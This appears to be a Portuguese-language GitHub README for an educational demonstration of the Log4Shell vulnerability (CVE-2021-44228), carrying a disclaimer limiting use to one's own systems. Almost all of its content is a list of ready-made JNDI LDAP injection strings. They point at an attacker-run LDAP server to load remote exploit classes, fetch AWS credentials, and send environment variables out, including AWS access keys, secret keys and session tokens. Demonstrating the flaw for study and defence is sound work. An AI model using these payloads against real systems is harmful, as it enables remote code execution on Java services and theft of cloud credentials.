jxerome/log4shellDemonstração educacional da vulnerabilidade Log4Shell (CVE-2021-44228) com payloads JNDI LDAP para testes experimentais em seus próprios sistemas.
Este projeto é uma demonstração do funcionamento da vulnerabilidade de segurança log4shell.
Esta vulnerabilidade é descrita na CVE-2021-44228.
O projeto destina-se exclusivamente a fins educacionais. Ele só deve ser utilizado no seu próprio sistema e apenas para fins experimentais.
Qualquer execução é feita por sua conta e risco. O autor declina toda responsabilidade por incidentes decorrentes da execução do projeto.
ldap_server=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.Exploit}'
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.ExploitP,msg=my friend}'
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.aws.FetchCreds}'
hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:USER}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:PATH}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=os=${java:os}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=aws_credentials,AWS_ACCESS_KEY_ID=${env:AWS_ACCESS_KEY_ID},AWS_SECRET_ACCESS_KEY=${env:AWS_SECRET_ACCESS_ID},AWS_SESSION_TOKEN=${env:AWS_SESSION_TOKEN}}'